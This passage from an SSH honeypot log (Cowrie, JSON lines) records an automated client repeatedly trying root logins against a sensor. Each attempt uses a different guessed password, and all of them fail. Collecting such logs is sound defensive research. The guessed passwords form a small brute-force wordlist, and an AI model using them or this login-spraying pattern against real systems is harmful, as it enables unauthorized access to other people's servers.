h.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:44.539598Z","src_ip":"60.165.124.241","session":"23f20a3a3e80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2105","message":"login attempt [root/2105] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:45.323445Z","src_ip":"60.165.124.241","session":"23f20a3a3e80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:46.582468Z","src_ip":"60.165.124.241","session":"23f20a3a3e80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51234,"dst_ip":"10.17.0.5","dst_port":22,"session":"54c96d7cedc3","protocol":"ssh","message":"New connection: 60.165.124.241:51234 (10.17.0.5:22) [session: 54c96d7cedc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:46.796319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:46.801434Z","src_ip":"60.165.124.241","session":"54c96d7cedc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:47.040197Z","src_ip":"60.165.124.241","session":"54c96d7cedc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root_123","message":"login attempt [root/Root_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:47.758263Z","src_ip":"60.165.124.241","session":"54c96d7cedc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:49.011506Z","src_ip":"60.165.124.241","session":"54c96d7cedc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54354,"dst_ip":"10.17.0.5","dst_port":22,"session":"f319cb75c78a","protocol":"ssh","message":"New connection: 60.165.124.241:54354 (10.17.0.5:22) [session: f319cb75c78a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:49.264302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:49.269234Z","src_ip":"60.165.124.241","session":"f319cb75c78a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:49.515196Z","src_ip":"60.165.124.241","session":"f319cb75c78a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin14","message":"login attempt [root/Admin14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:51.539933Z","src_ip":"60.165.124.241","session":"f319cb75c78a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:52.788397Z","src_ip":"60.165.124.241","session":"f319cb75c78a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58724,"dst_ip":"10.17.0.5","dst_port":22,"session":"30744c7bfa90","protocol":"ssh","message":"New connection: 60.165.124.241:58724 (10.17.0.5:22) [session: 30744c7bfa90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:53.011126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:53.015871Z","src_ip":"60.165.124.241","session":"30744c7bfa90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:53.930222Z","src_ip":"60.165.124.241","session":"30744c7bfa90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZHBnhtiTWtDKn6Bmhxtz","message":"login attempt [root/ZHBnhtiTWtDKn6Bmhxtz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:54.645468Z","src_ip":"60.165.124.241","session":"30744c7bfa90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:55.889392Z","src_ip":"60.165.124.241","session":"30744c7bfa90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34636,"dst_ip":"10.17.0.5","dst_port":22,"session":"313e78925b12","protocol":"ssh","message":"New connection: 60.165.124.241:34636 (10.17.0.5:22) [session: 313e78925b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:56.160286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:56.165719Z","src_ip":"60.165.124.241","session":"313e78925b12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:56.423031Z","src_ip":"60.165.124.241","session":"313e78925b12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd@12345678","message":"login attempt [root/Abcd@12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:57.855748Z","src_ip":"60.165.124.241","session":"313e78925b12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:59.127725Z","src_ip":"60.165.124.241","session":"313e78925b12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38342,"dst_ip":"10.17.0.5","dst_port":22,"session":"15b3491a0ea8","protocol":"ssh","message":"New connection: 60.165.124.241:38342 (10.17.0.5:22) [session: 15b3491a0ea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:00.353243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:00.370649Z","src_ip":"60.165.124.241","session":"15b3491a0ea8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:00.612078Z","src_ip":"60.165.124.241","session":"15b3491a0ea8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"openvpnas","message":"login attempt [root/openvpnas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:01.359762Z","src_ip":"60.165.124.241","session":"15b3491a0ea8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:02.615524Z","src_ip":"60.165.124.241","session":"15b3491a0ea8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42614,"dst_ip":"10.17.0.5","dst_port":22,"session":"503fa11f3cca","protocol":"ssh","message":"New connection: 60.165.124.241:42614 (10.17.0.5:22) [session: 503fa11f3cca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:02.856542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:02.862622Z","src_ip":"60.165.124.241","session":"503fa11f3cca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:03.109145Z","src_ip":"60.165.124.241","session":"503fa11f3cca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sameer","message":"login attempt [root/sameer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:03.862418Z","src_ip":"60.165.124.241","session":"503fa11f3cca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:05.120469Z","src_ip":"60.165.124.241","session":"503fa11f3cca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45686,"dst_ip":"10.17.0.5","dst_port":22,"session":"73a479a527bd","protocol":"ssh","message":"New connection: 60.165.124.241:45686 (10.17.0.5:22) [session: 73a479a527bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:05.356170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:05.361624Z","src_ip":"60.165.124.241","session":"73a479a527bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:05.626712Z","src_ip":"60.165.124.241","session":"73a479a527bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0p3nm35h","message":"login attempt [root/0p3nm35h] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:06.367114Z","src_ip":"60.165.124.241","session":"73a479a527bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:07.609159Z","src_ip":"60.165.124.241","session":"73a479a527bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48910,"dst_ip":"10.17.0.5","dst_port":22,"session":"42cdc36f6cac","protocol":"ssh","message":"New connection: 60.165.124.241:48910 (10.17.0.5:22) [session: 42cdc36f6cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:07.854369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:07.858734Z","src_ip":"60.165.124.241","session":"42cdc36f6cac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:08.115206Z","src_ip":"60.165.124.241","session":"42cdc36f6cac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r5t!","message":"login attempt [root/1Q2w3e4r5t!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:09.115412Z","src_ip":"60.165.124.241","session":"42cdc36f6cac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:10.377037Z","src_ip":"60.165.124.241","session":"42cdc36f6cac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52114,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0a9afe9953d","protocol":"ssh","message":"New connection: 60.165.124.241:52114 (10.17.0.5:22) [session: f0a9afe9953d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:10.623922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:10.629151Z","src_ip":"60.165.124.241","session":"f0a9afe9953d","protocol":"ssh"}
